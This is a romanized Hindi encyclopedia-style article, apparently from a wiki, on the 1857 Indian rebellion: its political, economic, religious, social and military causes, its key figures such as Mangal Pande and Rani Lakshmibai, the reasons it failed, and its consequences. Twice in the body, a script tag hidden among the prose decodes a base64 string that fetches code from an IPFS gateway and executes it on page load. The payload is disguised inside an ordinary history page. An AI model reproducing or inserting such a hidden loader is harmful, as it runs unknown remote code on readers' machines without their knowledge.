प्रथम स्वतन्त्रता संग्राम

pratham svatantrata sangram
pratham svadhinata sangram ke senaniyoan ke samman mean jari dak tikat|200px|center
vivaran	is kranti ki shuruat to ek sainy vidroh ke roop mean huee, parantu kalantar mean usaka svaroop badal kar british satta ke viruddh ek janavyapi vidroh ke roop mean ho gaya, jise bharat ka pratham svatantrata sangram kaha gaya.
arambh tithi	10 mee 1857
pramukh sthan	merath, kanapur, bareli, jhaansi, dilli, avadh
pramukh vyakti	mangal paande, rani lakshmibaee, tatya tope, nana sahab peshava, bahadur shah jafar, maharani viktoriya, l aaurd viliyam baiantik
parinam	vidroh ka daman, eest iandiya kanpani ke shasan ka aant, niyantran british taj (maharani viktoriya) ke hath mean
sanbandhit lekh	pratham svatantrata sangram ki mukhy ghatanaean
any janakari	vidroh ke parinamasvaroop bharatiyoan mean rashtriy ekata ki bhavana ka vikas hua aur hindoo-muslim ekata ne zor pak dana shuroo kiya, jisaka kalantar mean rashtriy aandolan mean mahattvapoorn yogadan raha.

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l aaurd kainiang ke gavarnar-janaral ke roop mean shasan karane ke dauran hi 1857 ee. ki mahanh kranti huee. is kranti ka arambh 10 mee, 1857 ee. ko merath se hua, jo dhire-dhire kanapur, bareli, jhaansi, dilli, avadh adi sthanoan par phail gaya. is kranti ki shuruat to ek sainy vidroh ke roop mean huee, parantu kalantar mean usaka svaroop badal kar british satta ke viruddh ek janavyapi vidroh ke roop mean ho gaya, jise bharat ka pratham svatantrata sangram kaha gaya. 1857 ee. ki is mahanh kranti ke svaroop ko lekar viddhan ek mat nahian hai. is bare mean vidvanoan ne apane alag-alag mat pratipadit kiye haian, jo is prakar haian-'sipahi vidroh', 'svatantrata sangram', 'samantavadi pratikriya', 'janakranti', 'rashtriy vidroh', 'muslim shadayantr', 'eesaee dharm ke viruddh ek dharm yuddh' aur 'sabhyata evan barbarata ka sangharsh' adi. [[chitr:William-Bentinck.jpg|thumb|left|l aaurd viliyam baiantik]]

kranti ke karan

raja ramamohan ray ne sati pratha jaisi amanaviy pratha ke viruddh nirantar andolan chalaya. unake poorn aur nirantar samarthan ka hi prabhav tha, jisake karan l aaurd viliyam baiantik 1829 mean sati pratha ko band karane mean samarth ho saka. aangrezi ke madhyam se pashchim shiksha ke prasar ki disha mean qadam uthaye gaye, aangrezi desh ki rajabhasha bana di gayi, sare desh mean saman zabta divani aur zabta faujadari qanoon lagoo kar diya gaya, parantu shasan svechchhachari bana raha aur vah poori tarah aangrezoan ke hathoan mean raha. 1833 ke chartar ekt ke viparit ooanche padoan par bharatiyoan ko niyukt nahian kiya gaya. bhap se chalane vale jahazoan aur relaga diyoan ka prachalan, eesaee mishanariyoan dvara akshepajanak riti se eesaee dharm ka prachar, l aaurd dalahauzi dvara zabti ka siddhaant lagoo karake athava kushasan ke adhar par kuchh purani deshi riyasatoan ki zabti tatha british bharatiy sena ke bharatiy sipahiyoan ki shikayatean; in sab karanoan ne milakar sare bharat mean ek gahare asantosh ki ag dhadhaka di, jo 1857-58 ee. mean kraanti ke roop mean bh dak uthi. 1857 ee. ki kranti koee achanak bh daka hua vidroh nahian tha, varanh isake sath anek adharabhoot karan the, jo nimnalikhit haian-

1. rajanitik karan
2. arthik karan
3. dharmik karan
4. samajik karan
5. sainik asantosh

rajanitik karan

rajanitik karanoan mean sarvadhik mahattvapoorn karan ke roop mean l aaurd dalahauzi ki 'god nishedh pratha' ya 'h dap niti' ko mana jata hai. dalahauzi ne apani is niti ke antargat satara, nagapur, sambhalapur, jhaansi tatha barar adi rajyoan par adhikar kar liya tha, jisake parinamasvaroop in rajavanshoan mean aangrez hukoomat ke khilaf asantosh vyapt ho gaya. kushasan ke adhar par dalahauzi ne haidarabad tatha avadh ko aangrezi samrajy ke adhin kar liya, jabaki in sthanoan par kushasan phailane ke zimmedar svayan aangrez hi the. avadh ke adhigrahan ki zabaradast pratikriya huee. us samay eest indiya kampani mean avadh ke 7500 sipahi the. avadh ko ek chif kamishnar ka kshetr bana diya gaya. henari l aaurens pahala chif kamishnar niyukt hua tha. panjab aur siandh ka vilay bhi aangrezi hukoomat ne kootaniti ke dvara aangrezi samrajy mean kar liya, jo kalantar mean vidroh ka ek karan bana. peanshanoan evan padoan ki samapti se bhi anek rajaoan mean asantosh vyapt tha. udaharanarth- nana sahab ko milane vali peanshan ko dalahauzi ne apani navin niti ke dvara band karava diya. mugal samrat ko 'raja' mana jaega tatha unhean lal qila chho dakar kutubaminar ke samip kisi any qile mean sthantarit hona p dega. isake alava sikkoan se bahadur shah zafar ka nam hata diya gaya, jisase janata kshubdh ho gee.

kulinavargiy bharatiy tatha zamiandaroan ke sath aangrezoan ne bura vyavahar kiya aur unhean mile samast visheshadhikaroan ko kampani ki satta ne chhin liya. aisi paristhiti mean is varg ke logoan ke asantosh ka samana bhi british satta ko karana p da. bharatiy sarakari karmachariyoan ne aangrezoan dvara sarakari naukariyoan mean apanayi jane vali bhedabhavapoorn niti ka virodh karate hue vidroh mean sirakat ki. kul milakar bharatiy janata aangrezoan ke barbar prashasan se tang akar unaki dasata se mukt hona chahati thi, isalie 1857 ki kraanti huee.

arthik karan

[[chitr:Tatya-Tope.jpg|thumb|200px|tatya tope]] 1857 ee. ki kranti ke lie zimmedar arthik karan is prakar haian- bharatiyoan ke dhan ka nishkasan tivr gati se ianglaind ki or hua. mukt vyapar tatha aangrezi vastroan ke bharat ke bazaroan mean adhik matra mean a jane ke karan usaka pratyaksh prabhav yahaan ke kutir udyogoan par p da, jis karan se yahaan ke kutir evan laghu udyog nasht ho gaye. lakhoan vyakti berozagar ho ge. 1834-1835 ee. mean svayan gavarnar-janaral l aaurd viliyam baiantik ne likha tha ki, 'vyapar ke itihas mean aisa koee doosara kashtaprad udaharan nahian. bharat ka maidan sooti kap da bunane valoan ke asthi panjaroan se bhara hua hai'. l aaurd viliyam baiantik ne apane shasanakal mean bahut-si 'maphi' (dan ki huee bhoomi) tatha 'inam ki bhoomi' ko chhin liya, jisaka prabhav yah hua ki, anek bharatiy zamiandar daridr evan kangal ho ge aur is tarah in zamiandaroan mean aangrezi satta ke khilaf asantosh vyapt ho gaya. krishi ke kshetr mean aangrezoan ki galat niti ke karan bharatiy kisanoan ki sthiti atyant dayaniy ho gee. aangrezoan dvara sthapit sthaee bandobast, raiyyatava di vyavastha ke lie pratikool sabit hua.

dharmik karan

kahane ke lie to british satta dharm ke mamale mean tatasth thi, par usane eesaee dharm ke prachar mean apana poorn sahayog diya. eesaee mishanariyoan ka drishtikon bharat ke prati b da tiraskarapoorn tha. usaka ek matr uddeshy bharat mean apani sarvochchata pradarshit karana tha. aangrez apani niti ke anusar adhikaansh bharatiyoan ko eesaee banakar bharat mean apane samrajy ko sudridh karana chahate the. yah tathy kampani ke adhyaksh 'maigalj' ke 'haus aauf k aaumans' mean diye gaye ek bhashan se spasht hota hai. usane kaha tha ki, "devayog se bharat ka vistrit samrajy briten ko mila hai, taki eesaee dharm ki pataka ek chhor se doosare chhor tak phahara sake. pratyek vyakti ko shighr-atishighr samast bharatiyoan ko eesaee banane ke mahanh kary ko poornataya sampann karane mean apani samast shakti laga deni chahie." ve eesaee dharm svikar karane valoan ko sarakari naukari, uchch pad evan anek suvidhaean pradan karate the. 1813 ee ke kampani ke adesh patr dvara eesaee padariyoan ko ajna prapt karake bharat ane ki suvidha prapt ho gayi. parinamatah b di sankhya mean eesaee padari bharat ae, jinaka mukhy uddeshy eesaee dharm ka prachar karana tha. parinamatah 1850 ee. mean pas kiye gaye 'dharmik niyogyata adhiniyam' dvara hindoo riti-rivajoan mean parivartan laya gaya, arthath dharmik parivartan se putr apane pita ki sampatti se vanchit nahian kiya ja sakata tha. is qanoon ka mukhy labh eesaee banane valoan ka tha. aangrezoan ki is niti ne hindoo aur musalaman donoan mean kampani ke prati sandeh utpann kar diya.

samajik karan

aangrezoan ki anek nitiyaan tatha kary aise the, jinase bharatiyoan mean asantosh ki bhavana janm lene lagi thi. aangrezoan ko apani 'shvet cham di' par b da naj tha aur ve bharatiyoan ko 'kali cham di' kahakar unaka upahas kiya karate the. viliyam baiantik ne apane shasanakal mean sati pratha, bal hatya, nar hatya adi par pratibandh lagakar tatha dalahauzi ne vidhava vivah ko manyata dekar roodhivadi bharatiyoan mean asantosh bhar diya. aangrezoan dvara rel, dak evan tar kshetr mean kiye gaye karyoan ko bharatiyoan mean matr eesaee dharm ke prachar ka madhyam banane ke karan aangrezoan ke prati unake man mean vidrohi bhavana bh dak uthi. shiksha ke kshetr mean aangrezoan ne pashchaty sabhyata, sanskriti, bhasha evan sahity ke vikas par adhik dhyan diya. aise samay mean bharatiy sabhyata, sanskriti, bhasha evan sahity ke vikas ke kshetr mean kampani dvara koee vishesh parivartan n kiye jane ke karan bharatiy bauddhik varg aangrezoan ke viruddh ho gaya. aangrezoan dvara lagan vasooli evan vidroh ko kuchalane ke samay bharatiyoan ko kathor sharirik dand evan yatanayean di geean, jisase unake andar british satta ke khilaf ghrina evan dvesh ki bhavana bhar gee.

sainik asantosh

chitr:Blockquote-open.gif jhaansi par aangrezi sena ne hyooroj ke netritv mean 3 aprail, 1858 ee. ko adhikar kar liya. hyooroj ne rani lakshmibaee ki virata se prabhavit hokar kaha ki, 'bharatiy kraantikariyoan mean yah akeli mard hai'. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> [[chitr:East-India-Company-Seal.jpg|thumb|left|eest indiya kampani muhar ]] 1857 ee. ki kranti mean sainy asantosh ki bhoomika ko nakara nahian ja sakata. sena mean pratham dharmik virodh 1806 ee. mean vellor mean tab hua tha, jab l aaurd viliyam baiantik dvara mathe par tilak lagane aur pak di pahanane par rok lagayi gee. l aaurd dalahauzi ke samay sainik vidroh ho chuke the. 1849 ee. mean 22vean en. aee ka vidroh, 1850 ee. mean 66vean en.aee. ka vidroh aur 1852 ee. mean 38 vean en.aee. ka vidroh pramukh the. maulana abul kalam azad ke anusar, "avadh ke vilay ne sena mean sadharanatah aur bangal sena mean visheshatah vidrohi bhavana ka sanchar kiya". 1824 ee. mean bairakapur mean sainikoan ne samudr par jane se inakar kar diya, jisake karan barma rejiment ko bhang kar diya gaya tha. 1857 ee. mean l aaurd kainiang dvara parit 'samany seva bharti adhiniyam' ke aantargat sainikoan ko sarakar jahaan chahe vahian kary karava sakati thi. 1854 ee. ke 'dakaghar adhiniyam' mean sainikoan ki niahshulk dak suvidha samapt ho gayi. sainy asantosh ke isi vatavaran mean charbiyukt enafild raifaloan ke prayog ke adesh ne ag mean ghi ka kary kiya aur ye sainikoan ke vidroh ke lie tatkalik karan siddh hua.

mangal pande

[[chitr:Mangal Panday.jpg|thumb|200px|mangal pande]]

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29 march, 1857 ee. ko mangal pande namak ek sainik ne 'bairakapur chhavani' mean apane afasaroan ke viruddh vidroh kar diya, lekin british sainy adhikariyoan ne is sainik vidroh ko saralata se niyantrit kar liya aur sath hi usaki bataliyam '34 en.aee.' ko bhang kar diya. 24 aprail ko 3 el.si. pared merath mean 90 ghu dasavaroan mean se 85 sainikoan ne naye karatoos lene se iankar kar diya. ajna ki avahelana ke karan in 85 ghudasavaroan ko kort marshal dvara 5 varsh ka karavas diya gaya. 'khula vidroh' 10 mee, din ravivar ko saanyakal 5 v 6 baje ke madhy prarambh hua. sarvapratham paidal tuk di '20 en.aee.' mean vidroh ki shuruat huee, tatpashchath '3 el.si.' mean bhi vidroh phail gaya. in vidrohiyoan ne apane adhikariyoan ke oopar goliyaan chalaee. mangal pande ne 'hiyarase' ko goli mari thi, jabaki 'afasar bag' ki hatya kar di gee thi.

vidroh ka prasar

11 mee ko merath ke krantikari sainikoan ne dilli pahuanchakar, 12 mee ko dilli par adhikar kar liya. in sainikoan ne mugal samrat bahadurashah dvitiy ko dilli ka samrat ghoshit kar diya. shighr hi vidroh lakhanoo, ilahabad, kanapur, bareli, banaras, bihar tatha jhaansi mean bhi phail gaya. aangrezoan ne panjab se sena bulakar sabase pahale dilli par adhikar kiya. 21 sitambar, 1857 ee. ko dilli par aangrezoan ne punah adhikar kar liya, parantu sangharsh mean 'j aaun nikolasan' mara gaya aur lephtineant 'hadasan' ne dhokhe se bahadurashah dvitiy ke do putroan 'mirza mugal' aur 'mirza khvaza sultan' evan ek pote 'mirza aboobakr' ko goli marava di. lakhanoo mean vidroh ki shuruat 4 joon, 1857 ee. ko huee. yahaan ke krantikari sainikoan dvara british rejidensi ke gherav ke uparant british rejideant 'henari l aaurens' ki mrityu ho gee. haival aauk aur autram ne lakhanoo ko dabane ka bharakas prayatn kiya, parantu ve asaphal rahe. antatah k aaulin kaimpavel' ne gorakha rejimeant ke sahayog se march, 1858 ee. mean shahar par adhikar kar liya. vaise yahaan kranti ka prabhav sitambar tak raha. [[chitr:Rani-Laxmibai-2.jpg|thumb|left|rani lakshmibaee]]

lakshmibaee

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

5 joon, 1857 ee. ko krantikariyoan ne kanapur ko aangrezoan se chhin liya. nana sahab ko peshava ghoshit kiya gaya, jinaka vastavik nam 'dhoandoo pant' tha. tatya tope ne inaka sahayog kiya. yahaan par vidroh ka prabhav 6 sitambar tak hi raha. k aaulin kaimpavel ke netritv mean aangrezi sena ne 6 sitambar, 1857 ee. ko kanapur ko punah apane qabze mean kar liya. tatya tope kanapur se pharar hokar jhaansi pahuanch gaye. rani lakshmibaee, jo gangadhar rav ki vidhava thian, ve bhi apane dattak putr damodar rav ko jhaansi ki gaddi n die jane ke karan aangrezoan se naraz thian. tatya tope ke sahayog se rani lakshmibaee ne aangrezoan ko nakoan chane chabavaye. in donoan ne gvaliyar par bhi kranti ka jhanda phaharaya aur vahaan ke tatkalin shasak siandhiya dvara vidroh mean bhag lene par rani ne nana sahab ko peshava ghoshit kiya, parantu shighr hi aangrezoan ne joon, 1858 ee. mean gvaliyar par adhikar kar liya. jhaansi par aangrezi sena ne hyooroj ke netritv mean 3 aprail, 1858 ee. ko adhikar kar liya. hyooroj ne rani lakshmibaee ki virata se prabhavit hokar kaha ki, bharatiy kraantikariyoan mean yah akeli mard hai. bareli mean 'khan bahadur khaan' ne svayan ko navab ghoshit kiya. bihar mean jagadishapur ke zamiandar 'kuanar sianh' ne bitish hukoomat ke khilaf vidroh ka jhanda phaharaya. banaras mean hue vidroh ko karnal nil ne dabaya. jagadishapur ke vidroh ko aangrez adhikari viliyam telar evan mejar vianset ayar ne dabaya.

bahadurashah zafar ki giraphtari

[[chitr:Bahadur-Shah-II.jpg|thumb|bahadur shah zafar]] julaee, 1858 ee. tak kranti ke sabhi sthanoan par vidroh ko daba diya gaya. rani lakshmibaee evan tatya tope ne vidroh mean mahattvapoorn bhoomika ka nirvah kiya. ilahabad ki kaman 'maulavi liyakat ali' ne sambhali thi. karnal nil ne yahaan ke vidroh ko samapt kar diya. 20 sitambar, 1857 ee. ko humayuan ke maqabare mean sharan lie hue bahadurashah dvitiy ko pak d liya gaya. un par mukadama chala tatha unhean barma (rangoon) nirvasit kar diya gaya.

kranti ki asaphalata ke karan

chitr:Blockquote-open.gif samantavadi vargoan mean ek varg ne vidroh mean sahayog kiya, parantu patiyala, gvaliyar evan haidarabad ke rajaoan ne vidroh ko kuchalane mean aangrezoan ka poora sahayog kiya. sankat ke samay l aaurd kainiang ne kaha tha ki, "yadi sindhiya bhi vidroh mean sammilit ho jaean, to mujhe kal hi bharat chho dana p dega". vidroh daman ke pashchath bharatiy rajaoan ko puraskrit kiya gaya. nizam ko barar ka prant lauta diya gaya aur usake rrin maph kar diye gaye. sindhiya, gayakava d aur rajapoot rajaoan ko bhi puraskar mile. chitr:Blockquote-close.gif

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1. yah vidroh sthaniy star tak, asangathit evan simit tha. bambee evan madras ki senayean tatha narmada nadi ke dakshin ke rajyoan ne kranti ke is vidroh mean aangrezoan ka poora samarthan kiya. aangrezoan ko nepal ki sahayata bahut labhaprad siddh huee. afaganistan ka dost muhammad bhi mitravat bana raha. rajasthan mean kota evan alavar ke atirikt shesh sthanoan par vidroh ka koee prabhav nahian tha. sindh bhi poornataya shant tha. panjab ke sikkh saradar, kashmir ke gulab sianh, gvaliyar ke sindhiya aur unake mantri dinakar rav, haidarabad ke salarajang, bhopal ki begam, nepal ka ek mantri sar jangabahadur, aangrezoan ke svami bhakt rahe. isi par l aaurd kainiang ne tippani ki thi ki, "in shasakoan evan saradaroan ne tarang rodhakoan ka kary kiya, anyatha isane hamean ek jhoanke mean hi baha diya hota".
2. achchhe sadhan evan dhanabhav ke karan bhi vidroh asaphal raha. aangrezi astr-shastr ke samaksh bharatiy astr-shastr baune sabit hue. nana sahab ne to ek bar kaha tha ki, "yah nili topi vali raeefal to goli chalane se pahale mar deti hai".
3. 1857 ee. ke is vidroh ke prati 'shikshit varg' poorn roop se udasin raha. vyapariyoan evan shikshit varg ne kalakatta evan bambee mean sabhaean kar aangrezoan ki saphalata ke lie prarthana bhi ki thi. yadi is varg ne apane lekhoan evan bhashanoan dvara logoan mean utsah ka sanchar kiya hota, to niahsandeh hi kranti ke is vidroh ka parinam kuchh or hi hota.
4. is vidroh mean 'rashtriy bhavana' ka poonataya abhav tha, kyoanki bharatiy samaj ke sabhi vargoan ka sahayog is vidroh ko nahian mil saka. samantavadi vargoan mean ek varg ne vidroh mean sahayog kiya, parantu patiyala, jind, gvaliyar evan haidarabad ke rajaoan ne vidroh ko kuchalane mean aangrezoan ka poora sahayog kiya. sankat ke samay l aaurd kainiang ne kaha tha ki, "yadi sindhiya bhi vidroh mean sammilit ho jae to mujhe kal hi bharat chho dana p dega". vidroh daman ke pashchath bharatiy rajaoan ko puraskrit kiya gaya. nizam ko barar ka prant lauta diya gaya aur usake rrin maph kar diye gaye. sindhiya, gayakava d aur rajapoot rajaoan ko bhi puraskar mile.
5. vidrohiyoan mean anubhav, sangathan kshamata v milakar kary karane ki shakti ki kami thi.
6. sainik durbalata ka vidroh ki asaphalata mean mahattvapoorn yogadan raha. bahadurashah zafar evan nana sahab ek kushal sangathanakarta avashy the, par unamean sainy netritv ki kshamata ki kami thi, jabaki aangrezi sena ke pas l aaurens bandhu, nikolasan, heval aauk, autram evan edavard jaise kushal senanayak the.
7. krantikariyoan ke pas uchit netritv ka abhav tha. vriddh mugal samrat bahadurashah zafar krantikariyoan ka us dhang se netritv nahian kar saka, jis tarah ke netritv ki tatkalin paristhitiyoan mean avashyakata thi.
8. vidrohi krantikariyoan ke pas thos lakshy evan spasht yojana ka abhav tha. unhean agale kshan kya karana hoga aur kya nahian, yah bhi nishchit nahian tha. ve matr bhavavesh evan paristhitivash age badhe ja rahe the.
9. avagaman evan sanchar ke sadhanoan ke upayog se aangrezoan ko vidroh ko dabane me kafi sahayata mili. is prakar avagaman evan sanchar ke sadhanoan ne bhi is vidroh ko asaphal karane mean sahayog diya.

parinam

[[chitr:Queen-Victoria.jpg|thumb|maharani viktoriya]] 1857 ee. ki is mahanh kranti ke vidroh ke dooragami parinam rahe, jo nimnalikhit haian-

1. vidroh ke samapt hone ke bad 1858 ee. mean british sansad ne ek qanoon parit kar eest iandiya kampani ke astitv ko samapt kar diya, aur ab bharat par shasan ka poora adhikar maharani viktoriya ke hathoan mean a gaya. ianglaind mean 1858 ee. ke adhiniyam ke tahat ek 'bharatiy rajy sachiv' ki vyavastha ki gayi, jisaki sahayata ke lie 15 sadasyoan ki ek 'mantrana parishadh' banaee gayi. in 15 sadasyoan mean 8 ki niyukti sarakar dvara karane tatha 7 ki 'kort aauf hairektars' dvara chunane ki vyavastha ki gee.
2. sthaniy logoan ko unake gaurav evan adhikaroan ko punah vapas karane ki bat kahi gee. bharatiy nareshoan ko maharani viktoriya ne apani or se samast sandhiyoan ke palan karane ka ashvasan diya, lekin sath hi nareshoan se bhi usi prakar ke palan ki asha ki. apane rajy kshetr ke vistar ki anichchha ki abhivyakti ke sath-sath unhoanne apane rajy kshetr athava adhikaroan ka atikraman sahan n karane tatha doosaroan par atikraman n karane ki bat kahi, aur sath hi dharmik shoshan khatm karane evan sevaoan mean bina bhedabhav ke niyukti ki bat ki gayi.
3. sainy punargathan ke adhar par yooropiy sainikoan ki sankhya ko badhaya gaya. uchch sainik padoan par bharatiyoan ki niyukti ko band kar diya gaya. topakhane par poornaroop se aangrezi sena ka adhikar ho gaya. ab bangal presidensi ke lie sena mean bharatiy aur aangrez sainikoan ka anupat 2:1 ka ho gaya, jabaki madras aur bambee prasidensiyoan mean yah anupat 3:1 ka ho gaya. uchch jati ke logoan mean se sainikoan ki bharti band kar di gayi.
4. 1858 ee. ke adhiniyam ke antargat hi bharat mean gavarnar-janaral ke padanam mean parivartatan kar use 'vayasaray' ka padanam diya gaya.
5. kranti ke vidroh ke phalasvaroop samantavadi dhaancha charamara gaya. am bharatiyoan mean samantavadiyoan ki chhavi gaddaroan ki ho gee, kyoanki is varg ne vidroh ko dabane mean aangrezoan ko sahayog diya tha.
6. vidroh ke parinamasvaroop bharatiyoan mean rashtriy ekata ki bhavana ka vikas hua aur hindoo-muslim ekata ne zor pak dana shuroo kiya, jisaka kalantar mean rashtriy aandolan mean mahattvapoorn yogadan raha.
7. 1857 ee. ki kranti ke bad samrajy vistar ki niti ka to khatma ho gaya, parantu isake sthan par ab arthik shoshan ke yug ka arambh hua.
8. bharatiyoan ke prashasan mean pratinidhitv ke kshetr mean alp prayas ke antargat 1861 ee. mean 'bharatiy parishadh adhiniyam' ko parit kiya gaya.
9. isake atirikt eesaee dharm ke prachar-prasar mean kami, shvet jati ki uchchata ke siddhant ka pratipadan aur mugal samrajy ke astitv ka khatm hona adi 1857 ee. ke vidroh ke any parinam the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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